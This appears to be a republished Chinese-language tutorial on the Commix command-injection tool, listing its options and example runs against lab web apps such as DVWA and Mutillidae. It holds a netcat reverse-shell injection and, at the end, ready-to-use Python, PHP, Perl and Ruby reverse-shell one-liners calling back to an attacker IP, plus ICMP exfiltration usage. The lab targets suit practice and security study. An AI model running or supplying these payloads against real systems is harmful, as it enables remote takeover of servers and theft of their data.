Commix命令注入漏洞利用

來源:互聯網
上載者:User

標籤:伺服器   解析   git   http錯誤   管理員   tag   .sql   delay   目標   

介紹

  項目地址:https://github.com/stasinopoulos/commix

  Commix是一個使用Python開發的漏洞測試載入器,這個工具是為了方便的檢測一個請求是否存在命令注入漏洞,並且對其進行測試,在其作者發布的最新版本中支援直接直接匯入burp的記錄進行檢測,大大提高了易用性。

使用

選項:    -v           VERBOSE詳細程度層級(0-1,預設值:0)。    --version       顯示版本號碼並退出。    --output-dir=..   設定自訂輸出目錄路徑。    -s SESSION_FILE   從儲存(.sqlite)檔案載入會話。    --flush-session   重新整理當前目標的會話檔案。    --ignore-session  忽略儲存在會話檔案中的結果。  目標:    -u URL,--url = URL  目標URL。    --url-reload      在命令執行後重新載入目標URL。    -l LOGFILE       解析來自HTTP代理記錄檔的目標和資料。    --crawl = CRAWLDEPTH  從目標網址開始抓取網站(1-2,預設值:0)。  請求:    --data=DATA      要通過POST發送的資料字串。    --host=HOST       HTTP主機頭。    --referer=REFERER   HTTP Referer標題。    --user-agent=AGENT  HTTP使用者代理程式頭。    --random-agent    使用隨機播放的HTTP User-Agent頭。    --param-del=PDEL   設定分割參數值的字元。    --cookie=COOKIE    HTTP Cookie頭。    --cookie-del=CDEL   設定分割cookie值的字元。    --headers=HEADERS   額外標題(例如「Header1:Value1 \ nHeader2:Value2」)。    --proxy=PROXY     使用HTTP代理(例如“127.0.0.1:8080”)。    --tor          使用Tor網路。    --tor-port=...      設定Tor代理連接埠(預設值:8118)。    --auth-url=...     登入面板URL。    --auth-data =AUTH   登入參數和資料。    --auth-type =AUTH   HTTP認證類型(例如“基本”或“摘要”)。    --auth-cred =AUTH   HTTP身分識別驗證憑據(例如“admin:admin”)。    --ignore-401      忽略HTTP錯誤401(未授權)。    --force-ssl      強制使用SSL / HTTPS。  枚舉:    這些選項可用於枚舉目標主機。    --all            檢索一切。    --current-user       檢索目前使用者名。    --hostname         檢索當前主機名稱。    --is-root          檢查目前使用者是否具有root許可權。    --is-admin         檢查目前使用者是否具有管理員權限。    --sys-info         檢索系統資訊。    --users           檢索系統使用者。    --passwords         檢索系統使用者密碼散列。    --privileges        檢索系統使用者權限。    --ps-version        檢索PowerShell的版本號碼。  檔案訪問:    這些選項可用於訪問目標主機上的檔案。    --file-read = FILE ..  從目標主機讀取檔案。    --file-write = FIL ..  寫入目標主機上的檔案。    --file-upload = FI ..  在目標主機上上傳檔案。    --file-dest = FILE ..  寫入和/或上傳到的主機的絕對檔案路徑。  模組:    這些選項可用於增加檢測和/或注射能力。    --icmp-exfil = IP_ ..‘ICMP exfiltration‘注入模組。  (例如‘ip_src = 192.168.178.1,ip_dst = 192.168.178.3‘)。    --dns-server = DNS ..“DNS exfiltration”注入模組。  (用於DNS篩選攻擊的網域名稱)。    --shellshock“炮彈”注射模組。  注射:    這些選項可用於指定要插入和輸入的參數,提供定製注入承載。    -p TEST_PARAMETER    可測試參數。    --suffix = SUFFIX    注入承載尾碼字串。    --prefix = PREFIX    注入承載前置詞字元串。    --technique = TECH   指定要使用的進樣技術。    --maxlen = MAXLEN    設定與時間相關的最大輸出長度,注射技術(預設:10000字元)。    --delay = DELAY     設定與時間相關的注入的自訂時間延遲術(預設:1秒)。    --tmp-path = TMP_P ..  設定Web伺服器的臨時目錄的絕對路徑。    --root-dir = SRV_R ..  設定Web伺服器根目錄的絕對路徑。    --alter-shell = AL ..  使用另一個os-shell(例如‘Python‘)。    --os-cmd = OS_CMD    執行單個作業系統命令。    --os = OS        將後端作業系統強製為此值。    --tamper = TAMPER   使用給定指令碼篡改注射資料。  檢測:    這些選項可用於自訂檢測階段。    --level = LEVEL  要執行的測試層級(1-3,預設值:1)。    --skip-calc    在檢測期間跳過數學計算    --dependencies  檢查第三方(非核心)依賴關係。    --skip-waf    繞過啟發學習法檢測WAF / IPS / IDS保護。

使用舉例

python commix.py –url="http://192.168.1.4/test/test.php?addr=INJECT_HERE” –os-cmd="nc -e /bin/sh 192.168.1.3 1234″

 

Freebuf給出的一些用法(http://www.freebuf.com/sectool/64030.html)

測試漏洞web應用Damn 

python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

使用注入攻擊Payload參數測試php-Charts 1.0

python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="‘"

使用特殊的頭和HTTP代理測試OWASP Mutillidae

python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"

使用ICMP滲漏(exfiltration)技術測試Persistence

su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""

 

配合一些反彈shell

1. Python-reverse-shell:  python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.3\”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’2. PHP-reverse-shell:  php -r ‘\$sock=fsockopen(\”192.168.1.3\”,1234);exec(\”/bin/sh -i <%263 >%263 2>%263\”);’3. Perl-reverse-shell:  perl -e ‘use Socket;\$i=\”192.168.1.3\”;\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\”>%26S\”);open(STDOUT,\”>%26S\”);open(STDERR,\”>%26S\”);exec(\”/bin/sh -i\”);};’4. Ruby-reverse-shell:  ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(\”192.168.1.3\”,1234);while(cmd=c.gets);IO.popen(cmd,\”r\”){|io|c.print io.read}end’

 

Commix命令注入漏洞利用

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.